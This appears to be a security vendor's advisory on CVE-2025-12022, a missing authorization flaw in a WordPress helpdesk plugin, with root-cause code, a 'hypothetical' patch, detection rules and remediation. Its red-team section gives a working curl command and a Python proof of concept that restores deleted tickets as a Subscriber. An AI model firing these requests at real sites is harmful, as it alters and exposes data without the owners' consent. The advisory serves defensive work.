CVE-2025-12022
Executive Summary
CVE-2025-12022 is a missing authorization vulnerability in the ELEX WordPress HelpDesk & Customer Ticketing System plugin (versions up to and including 3.3.1). The flaw resides in the eh_crm_settings_restore_trash AJAX endpoint, which lacks a proper capability check. This allows any authenticated user, even with Subscriber-level privileges, to restore all previously deleted tickets. While the CVSS score is 4.3 (Medium), the impact is significant for organizations relying on this plugin for customer support, as it can lead to data integrity issues and potential exposure of sensitive information from restored tickets.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to sites running the vulnerable plugin version.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (restoration of deleted tickets)
- Availability Impact: None
The threat level is Medium due to the low privileges required and the potential for data integrity compromise. An attacker can restore tickets that were intentionally deleted, potentially exposing sensitive customer data or disrupting support workflows.
Deep Dive & Mechanics
The vulnerability is a classic Missing Authorization (CWE-862) in the WordPress AJAX handler. The plugin registers an AJAX action eh_crm_settings_restore_trash that is intended for administrators to restore deleted tickets. However, the code does not verify the user's capabilities before executing the restoration.
Root Cause: The AJAX callback function eh_crm_settings_restore_trash_callback() does not call current_user_can('manage_options') or any other capability check. This allows any authenticated user to trigger the restoration of all tickets in the trash.
Attack Flow:
- Attacker authenticates as a Subscriber (or higher).
- Attacker sends a POST request to
/wp-admin/admin-ajax.phpwithaction=eh_crm_settings_restore_trash. - The plugin executes the restoration without checking permissions.
- All tickets previously moved to trash are restored, potentially exposing sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.3.1):
add_action('wp_ajax_eh_crm_settings_restore_trash', 'eh_crm_settings_restore_trash_callback');
function eh_crm_settings_restore_trash_callback() {
global $wpdb;
$table_name = $wpdb->prefix . 'eh_crm_tickets';
$wpdb->update($table_name, array('status' => 'open'), array('status' => 'trash'));
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_eh_crm_settings_restore_trash', 'eh_crm_settings_restore_trash_callback');
function eh_crm_settings_restore_trash_callback() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
global $wpdb;
$table_name = $wpdb->prefix . 'eh_crm_tickets';
$wpdb->update($table_name, array('status' => 'open'), array('status' => 'trash'));
wp_die();
}
The patch adds a capability check using current_user_can('manage_options') to ensure only administrators can restore tickets.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ELEX HelpDesk plugin <= 3.3.1
- Valid user account with Subscriber role or higher
Exploitation Steps:
- Log in as a Subscriber.
- Use a tool like cURL or Burp Suite to send the AJAX request:
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
-d 'action=eh_crm_settings_restore_trash' \
--cookie 'wordpress_logged_in_xxx=...'
- All tickets in trash will be restored to 'open' status.
Proof of Concept (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "your_session_cookie"}
data = {"action": "eh_crm_settings_restore_trash"}
response = requests.post(target, data=data, cookies=cookies)
print("Tickets restored" if response.status_code == 200 else "Failed")
Blue Team (Detection & Response)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwithaction=eh_crm_settings_restore_trashfrom non-admin users. - Alert on bulk status changes from 'trash' to 'open' in the
eh_crm_ticketstable.
Response:
- Immediately revoke the compromised user's session.
- Review database logs for unauthorized restoration events.
- Apply the patch or disable the plugin until a fix is available.
- Notify affected customers if sensitive data was exposed.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=eh_crm_settings_restore_trashfrom low-privilege users. - Database: Sudden increase in tickets with status 'open' that were previously 'trash'.
- Logs: WordPress debug log entries showing AJAX calls from unexpected user roles.
Detection Engineering
YARA Rule
rule Detect_ELEX_HelpDesk_Restore_Trash_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-12022"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12022"
strings:
$ajax_action = "eh_crm_settings_restore_trash"
$wp_ajax = "wp_ajax_eh_crm_settings_restore_trash"
condition:
any of them
}
Sigma Rule
title: ELEX HelpDesk Unauthorized Ticket Restoration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized restoration of deleted tickets via CVE-2025-12022
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'action=eh_crm_settings_restore_trash'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"ELEX HelpDesk CVE-2025-12022 Unauthorized Ticket Restore"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=eh_crm_settings_restore_trash"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Restrict access to the AJAX endpoint via
.htaccessor a Web Application Firewall (WAF) rule blockingaction=eh_crm_settings_restore_trashfor non-admin users. - Audit user roles and remove any unnecessary Subscriber accounts.
Long-term Fix:
- Apply the vendor patch when available (adds
current_user_can('manage_options')check). - Implement a Content Security Policy (CSP) to mitigate XSS if combined with other vulnerabilities.
Workaround Code (Add to theme's functions.php):
add_action('init', function() {
if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'eh_crm_settings_restore_trash') {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
}
});
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.